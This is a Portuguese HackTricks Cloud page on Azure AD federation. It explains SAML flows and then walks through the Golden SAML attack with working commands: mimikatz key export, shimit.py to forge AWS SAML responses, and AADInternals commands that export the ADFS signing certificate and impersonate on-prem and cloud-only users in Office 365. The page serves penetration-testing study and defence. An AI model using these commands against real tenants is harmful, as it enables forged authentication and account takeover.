Português - Ht Cloud
HackTricks TrainingTwitterLinkedinSponsor

Az - Federation

Support HackTricks

Basic Information

From the docs:A Federação é uma coleção de domínios que estabeleceram confiança. O nível de confiança pode variar, mas normalmente inclui autenticação e quase sempre inclui autorização. Uma federação típica pode incluir um número de organizações que estabeleceram confiança para acesso compartilhado a um conjunto de recursos.

Você pode federar seu ambiente on-premises com o Azure AD e usar essa federação para autenticação e autorização. Este método de login garante que toda a autenticação do usuário ocorra on-premises. Este método permite que os administradores implementem níveis de controle de acesso mais rigorosos. A federação com AD FS e PingFederate está disponível.

Basicamente, na Federação, toda a autenticação ocorre no ambiente on-prem e o usuário experimenta SSO em todos os ambientes confiáveis. Portanto, os usuários podem acessar aplicações cloud usando suas credenciais on-prem.

Security Assertion Markup Language (SAML) é usado para trocar todas as informações de autenticação e autorização entre os provedores.

Em qualquer configuração de federação, existem três partes:

  • Usuário ou Cliente

  • Provedor de Identidade (IdP)

  • Provedor de Serviço (SP)

(Images from https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

  1. Inicialmente, um aplicativo (Provedor de Serviço ou SP, como o console AWS ou o cliente web vSphere) é acessado por um usuário. Esta etapa pode ser ignorada, levando o cliente diretamente ao IdP (Provedor de Identidade) dependendo da implementação específica.

  2. Em seguida, o SP identifica o IdP apropriado (por exemplo, AD FS, Okta) para autenticação do usuário. Ele então cria um AuthnRequest SAML (Security Assertion Markup Language) e redireciona o cliente para o IdP escolhido.

  3. O IdP assume, autenticando o usuário. Após a autenticação, uma SAMLResponse é formulada pelo IdP e encaminhada ao SP através do usuário.

  4. Finalmente, o SP avalia a SAMLResponse. Se validada com sucesso, implicando uma relação de confiança com o IdP, o acesso é concedido ao usuário. Isso marca a conclusão do processo de login, permitindo que o usuário utilize o serviço.

Se você quiser aprender mais sobre autenticação SAML e ataques comuns, vá para:

Pivoting

  • AD FS é um modelo de identidade baseado em declarações.

  • "..as declarações são simplesmente afirmações (por exemplo, nome, identidade, grupo), feitas sobre usuários, que são usadas principalmente para autorizar o acesso a aplicativos baseados em declarações localizados em qualquer lugar na Internet."

  • As declarações para um usuário são escritas dentro dos tokens SAML e, em seguida, assinadas para fornecer confidencialidade pelo IdP.

  • Um usuário é identificado pelo ImmutableID. Ele é globalmente único e armazenado no Azure AD.

  • O ImmutableID é armazenado on-premises como ms-DS-ConsistencyGuid para o usuário e/ou pode ser derivado do GUID do usuário.

  • Mais informações em https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims

Ataque Golden SAML:

Golden SAML

O processo onde um Provedor de Identidade (IdP) produz uma SAMLResponse para autorizar o login do usuário é fundamental. Dependendo da implementação específica do IdP, a resposta pode ser assinada ou criptografada usando a chave privada do IdP. Este procedimento permite que o Provedor de Serviço (SP) confirme a autenticidade da SAMLResponse, garantindo que foi realmente emitida por um IdP confiável.

Um paralelo pode ser traçado com o ataque de golden ticket, onde a chave que autentica a identidade e permissões do usuário (KRBTGT para tickets de ouro, chave privada de assinatura de token para golden SAML) pode ser manipulada para forjar um objeto de autenticação (TGT ou SAMLResponse). Isso permite a impersonificação de qualquer usuário, concedendo acesso não autorizado ao SP.

Golden SAMLs oferecem certas vantagens:

  • Eles podem ser criados remotamente, sem a necessidade de fazer parte do domínio ou federação em questão.

  • Eles permanecem eficazes mesmo com Autenticação de Dois Fatores (2FA) habilitada.

  • A chave privada de assinatura de token não se renova automaticamente.

  • Mudar a senha de um usuário não invalida um SAML já gerado.

AWS + AD FS + Golden SAML

Active Directory Federation Services (AD FS) é um serviço da Microsoft que facilita a troca segura de informações de identidade entre parceiros de negócios confiáveis (federação). Ele essencialmente permite que um serviço de domínio compartilhe identidades de usuários com outros provedores de serviço dentro de uma federação.

Com a AWS confiando no domínio comprometido (em uma federação), essa vulnerabilidade pode ser explorada para potencialmente adquirir quaisquer permissões no ambiente AWS. O ataque requer a chave privada usada para assinar os objetos SAML, semelhante à necessidade do KRBTGT em um ataque de golden ticket. O acesso à conta de usuário do AD FS é suficiente para obter essa chave privada.

Os requisitos para executar um ataque golden SAML incluem:

  • Chave privada de assinatura de token

  • Certificado público do IdP

  • Nome do IdP

  • Nome do papel (papel a assumir)

  • Domínio\username

  • Nome da sessão de papel na AWS

  • ID da conta da Amazon

Somente os itens em negrito são obrigatórios. Os outros podem ser preenchidos conforme desejado.

Para adquirir a chave privada, o acesso à conta de usuário do AD FS é necessário. A partir daí, a chave privada pode ser exportada do armazenamento pessoal usando ferramentas como mimikatz. Para coletar as outras informações necessárias, você pode utilizar o snapin Microsoft.Adfs.Powershell da seguinte forma, garantindo que você esteja logado como o usuário ADFS:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

Com todas as informações, é possível esquecer uma SAMLResponse válida como o usuário que você deseja se passar usando shimit:

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

On-prem -> nuvem

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

É também possível criar ImmutableID de usuários apenas na nuvem e se passar por eles.

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

Referências

Support HackTricks
PreviousAz - Cloud Kerberos TrustNextAz - PHS - Password Hash Sync

Last updated